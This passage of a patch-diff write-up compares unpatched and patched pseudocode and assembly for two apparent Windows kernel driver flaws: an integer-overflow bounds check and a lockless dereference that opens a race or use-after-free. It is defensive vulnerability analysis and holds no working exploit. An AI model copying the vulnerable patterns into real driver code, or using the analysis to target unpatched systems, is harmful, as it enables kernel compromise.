&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;remaining&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;attacker_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// allocation uses attacker_size (&amp;gt;= 0xFFFFFFF8 to overflow) -&amp;gt; ~4GB alloc FAILS here,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// so the copy below is not reached for overflow-triggering sizes&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;WdfMemoryCreate&lt;/span&gt;&lt;span class="p"&gt;(...,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;attacker_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;arg_18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;arg_8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg_8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;attacker_size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg_8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;current_ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;attacker_size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// --- PATCHED (Fixed) ---&lt;/span&gt;
&lt;span class="k"&gt;do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;remaining&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;end_ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;current_ptr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;attacker_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;current_ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;required&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;attacker_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;required&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;attacker_size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// *** OVERFLOW DETECTED ***&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INTEGER_OVERFLOW&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// 0xC0000095&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;remaining&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;required&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;WdfMemoryCreate&lt;/span&gt;&lt;span class="p"&gt;(...,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;attacker_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;arg_18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;arg_8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg_8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;attacker_size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg_8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;current_ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;attacker_size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding 2: &lt;code&gt;CsvCamSetSecurityInfoSafe&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Highlighted lines show the unprotected dereference in the unpatched version and the added locks in the patched version.&lt;/em&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// --- UNPATCHED (Vulnerable) ---&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encryption_type_nonzero&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// *** NO LOCK HELD ***&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;enc_manager&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EncryptionManager&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;enc_manager&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// *** RACE WINDOW / UAF ***&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;enc_manager&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input_type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;memcmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input_data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;enc_manager&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// --- PATCHED (Fixed) ---&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encryption_type_nonzero&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeEnterCriticalRegion&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// *** LOCK ACQUIRED ***&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExAcquireResourceSharedLite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SigningLock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;enc_manager&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EncryptionManager&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;enc_manager&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// *** SAFE DEREF ***&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;enc_manager&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input_type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;memcmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input_data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;enc_manager&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExReleaseResourceLite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SigningLock&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeLeaveCriticalRegion&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Finding 1: &lt;code&gt;VxVolumerSetStorageProp&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;The vulnerability exists in the loop bounds check. The unpatched code relies on a naive &lt;code&gt;add eax, 0x8&lt;/code&gt; which wraps in 32-bit arithmetic.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;---&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;UNPATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;loop-top&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;bounds&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;check&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;---&lt;/span&gt;
&lt;span class="nt"&gt;0x1c0009fd0&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;eax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0xc&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Load&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;attacker-controlled&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;size&lt;/span&gt;
&lt;span class="nt"&gt;0x1c0009fd4&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;eax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x8&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;VULNERABLE&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;wraps&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0xFFFFFFF8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;
&lt;span class="nt"&gt;0x1c0009fd7&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;r15d&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Compare&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;remaining&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;vs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;wrapped&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;size&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nt"&gt;8&lt;/span&gt;
&lt;span class="nt"&gt;0x1c0009fda&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;0x1c000a237&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Bypassed&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;same&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;naive&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;repeats&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x1c000a1f8&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;---&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;PATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;single&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;guarded&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;check&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x1c000a02b&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;---&lt;/span&gt;
&lt;span class="nt"&gt;0x1c000a02b&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;ecx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0xc&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Load&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;attacker-controlled&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;size&lt;/span&gt;
&lt;span class="nt"&gt;0x1c000a02f&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;or&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;edx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0xffffffff&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Sentinel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;MAX_UINT&lt;/span&gt;
